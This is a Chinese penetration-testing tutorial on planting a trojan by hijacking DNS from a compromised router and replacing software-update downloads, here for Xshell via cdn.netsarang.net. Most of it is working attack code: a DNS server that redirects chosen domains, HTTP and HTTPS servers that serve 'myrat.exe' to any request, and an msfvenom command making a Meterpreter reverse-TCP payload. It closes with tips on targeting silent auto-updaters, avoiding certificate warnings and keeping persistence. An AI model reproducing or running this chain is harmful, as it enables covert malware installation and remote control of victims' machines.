劫持DNS通过流量植入木马

前言

很多时候对目标进行渗透时一般会从web、网络设备、针对性钓鱼这三个方向入手。假设我们控制了目标网络中的一台网络设备,如路由器,内网用户流量会从这个地方经过我们怎么获取其权限呢 ?

这种时候可以在路由器上抓包分析用户流量,比如启动xshell、notepad++等软件时发送的更新请求包,然后我们替换软件更新的http响应包达到植入木马目的。

分析流量一般用tcpdump,如果只有路由器后台权限没有地方可以执行命令的话可以用DNS服务器配合HTTP代理来截获流量

《劫持DNS通过流量植入木马》

 

这里就演示一下去劫持软件更新服务器达到植入木马的目的

一、部署DNS服务器

为了方便演示这里将受害者机器上的DNS改为攻击者IP

《劫持DNS通过流量植入木马》

下载sqlmap项目提取sqlmapsqlmap-stablelibrequest目录中的dns.py

执行看看效果

《劫持DNS通过流量植入木马》

在用户机器上ping了一下,DNS服务器这边已经成功接收域名解析请求并响应127.0.0.1

但是这个脚本中把所有域名解析请求都响应成127.0.0.1

《劫持DNS通过流量植入木马》

需要修改一下

我们的需求是能够正常解析域名,再对某些指定域名进行劫持。

修改后代码如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import os
import re
import socket
import threading
import time
import dns.resolver

class DNSQuery(object):
    """
    Used for making fake DNS resolution responses based on received
    raw request

    Reference(s):
        http://code.activestate.com/recipes/491264-mini-fake-dns-server/
        https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
    """

    def __init__(self, raw):
        self._raw = raw
        self._query = ""

        type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits

        if type_ == 0:                                  # Standard query
            i = 12
            j = ord(raw[i])

            while j != 0:
                self._query += raw[i + 1:i + j + 1] + '.'
                i = i + j + 1
                j = ord(raw[i])

    def response(self, resolution):
        """
        Crafts raw DNS resolution response packet
        """

        retVal = ""

        if self._query:
            retVal += self._raw[:2]                                             # Transaction ID

            retVal += "x85x80"                                                # Flags (Standard query response, No error)
            retVal += self._raw[4:6] + self._raw[4:6] + "x00x00x00x00"      # Questions and Answers Counts
            retVal += self._raw[12🙁12 + self._raw[12:].find("x00") + 5)]      # Original Domain Name Query
            retVal += "xc0x0c"                                                # Pointer to domain name
            retVal += "x00x01"                                                # Type A
            retVal += "x00x01"                                                # Class IN
            retVal += "x00x00x00x20"                                        # TTL (32 seconds)
            retVal += "x00x04"                                                # Data length
            retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP

        return retVal

class DNSServer(object):
    def __init__(self):
        self.my_resolver = dns.resolver.Resolver()
        self.my_resolver.nameservers = ['8.8.8.8']
        self._check_localhost()
        self._requests = []
        self._lock = threading.Lock()
        try:
            self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
        except AttributeError:
            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._socket.bind(("", 53))
        self._running = False
        self._initialized = False

    def _check_localhost(self):
        response = ""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.connect(("", 53))
            s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex"))  # A www.google.com
            response = s.recv(512)
        except:
            pass
        finally:
            if response and "google" in response:
                raise socket.error("another DNS service already running on *:53")

    def pop(self, prefix=None, suffix=None):
        """
        Returns received DNS resolution request (if any) that has given
        prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)
        """

        retVal = None

        with self._lock:
            for _ in self._requests:
                if prefix is None and suffix is None or re.search("%s..+.%s" % (prefix, suffix), _, re.I):
                    retVal = _
                    self._requests.remove(_)
                    break

        return retVal

    def get_domain_A(self,domain):
        try:
            results=self.my_resolver.query(domain,'A')
            for i in results.response.answer:
                for j in i.items:
                    try:
                        ip_address = j.address
                        if re.match('d+.+d+.+d+.+d', ip_address):
                            return ip_address
                    except AttributeError as e:
                        continue
        except Exception as e:
            return '127.0.0.1'
            
    def run(self):
        """
        Runs a DNSServer instance as a daemon thread (killed by program exit)
        """

        def _():
            try:
                self._running = True
                self._initialized = True

                while True:
                    data, addr = self._socket.recvfrom(1024)

                    _ = DNSQuery(data)
                    domain=_._query[:-1] ###### exploit
                    ip=self.get_domain_A(domain)
                    if domain=='cdn.netsarang.net':
                        ip='192.168.80.142'
                    print domain,' -> ',ip
                    self._socket.sendto(_.response(ip), addr)

                    with self._lock:
                        self._requests.append(_._query)

            except KeyboardInterrupt:
                raise

            finally:
                self._running = False

        thread = threading.Thread(target=_)
        thread.daemon = True
        thread.start()

if __name__ == "__main__":
    server = None
    try:
        server = DNSServer()
        server.run()

        while not server._initialized:
            time.sleep(0.1)

        while server._running:
            while True:
                _ = server.pop()

                if _ is None:
                    break
                else:
                    domian=_[:-1]
                    #print "[i] %s with A %s" % (domian,server.get_domain_A(domian))

            time.sleep(1)

    except socket.error, ex:
        if 'Permission' in str(ex):
            print "[x] Please run with sudo/Administrator privileges"
        else:
            raise
    except KeyboardInterrupt:
        os._exit(0)
    finally:
        if server:
            server._running = False

这个脚本的功能是将用户的DNS请求转发给GOOGLE的DNS服务器使用户能够正常上网,然后再对指定域名做劫持

可以看到现在用户已经可以正常上网了

《劫持DNS通过流量植入木马》

然后部署HTTP代理服务器

代码我已经写好了

# -*- coding: UTF-8 -*-
import socket
import threading, getopt, sys, string
import re

#设置默认的最大连接数和端口号
list=50
port=80


file_contents=open('myrat.exe','rb').read()


def req_server():
    return 'HTTP/1.1 200 OKrnContent-Length: 303641rnContent-Type: application/force-downloadrnLast-Modified: Fri, 10 Jan 2014 03:54:35 GMTrnAccept-Ranges: bytesrnETag: "80f5adb7dcf1:474"rnServer: Microsoft-IIS/6.0rnX-Powered-By: ASP.NETrnDate: Thu, 24 May 2018 06:25:45 GMTrnConnection: closernrn'+file_contents

    

def jonnyS(client, address):
    try:
    #设置超时时间
        client.settimeout(500)
    #接收数据的大小
        buf = client.recv(2048)
        print buf
    #将接收到的信息原样的返回到客户端中
        client.send(req_server())
    #超时后显示退出
    except socket.timeout:
        print 'time out'
    #关闭与客户端的连接
    client.close()

def main():
    #创建socket对象。调用socket构造函数
    #AF_INET为ip地址族,SOCK_STREAM为流套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #将socket绑定到指定地址,第一个参数为ip地址,第二个参数为端口号
    sock.bind(('0.0.0.0', port))
    #设置最多连接数量
    sock.listen(list)
    while True:
    #服务器套接字通过socket的accept方法等待客户请求一个连接
        client, address = sock.accept()
        thread = threading.Thread(target=jonnyS, args=(client, address))
        thread.start()

if __name__ == '__main__':
    main()

这里的功能是收到用户的HTTP请求后直接响应一个二进制文件,也就是我们的木马

效果如下

《劫持DNS通过流量植入木马》

 

很多软件更新时都走的https所以我们还需搭建https代理服务器

搭建HTTPS代理服务器

代码如下

import socketserver, ssl, time
class MyHTTPSHandler_socket(socketserver.BaseRequestHandler):
    def handle(self):
        context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
        context.load_cert_chain(certfile="cert.pem")
        SSLSocket = context.wrap_socket(self.request, server_side=True)
        self.data = SSLSocket.recv(1024)
        print(self.data)
        file_contents=open('myrat.exe','rb').read()
        buf = 'HTTP/1.1 200 OKrnContent-Length: 303641rnContent-Type: application/force-downloadrnLast-Modified: Fri, 10 Jan 2014 03:54:35 GMTrnAccept-Ranges: bytesrnETag: "80f5adb7dcf1:474"rnServer: Microsoft-IIS/6.0rnX-Powered-By: ASP.NETrnDate: Thu, 24 May 2018 06:25:45 GMTrnConnection: closernrn'+file_contents
        SSLSocket.send(buf)

if __name__ == "__main__":
    port = 443
    httpd = socketserver.TCPServer(('0.0.0.0', port), MyHTTPSHandler_socket)
    httpd.serve_forever()

执行openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes  可以生成证书

搭建好后配置木马,这里就用msf做演示

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.142 lport=4444 -f exe -o myrat.exe

然后看一下xshell的更新请求

《劫持DNS通过流量植入木马》

域名是cdn.netsarang.net,看一下流量

《劫持DNS通过流量植入木马》

可以看到是走的https

在dns服务器中添加如下

《劫持DNS通过流量植入木马》

架设https服务器

《劫持DNS通过流量植入木马》

运行脚本和msf监听

《劫持DNS通过流量植入木马》

《劫持DNS通过流量植入木马》

效果如下

《劫持DNS通过流量植入木马》

总结

1.可以针对firefox等自动更新或后台静默更新的这类应用程序进行流量替换,这样成功率会很高被发现可能性也小

2.当更新包请求是https时需要注意证书问题,可以尝试利用cname绕过,比如在dns服务器上把www.baidu.com重定向到www.exploit.com,我们有www.exploit.com的合法证书这样就不会报错.

3.在路由器上修改DNS也可以作为一种持久性控制的手段,某天权限不慎丢失了,继续植入就行了。

原创文章,作者:鹰小编,如若转载,请注明出处:http://www.mottoin.com/tools/113287.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code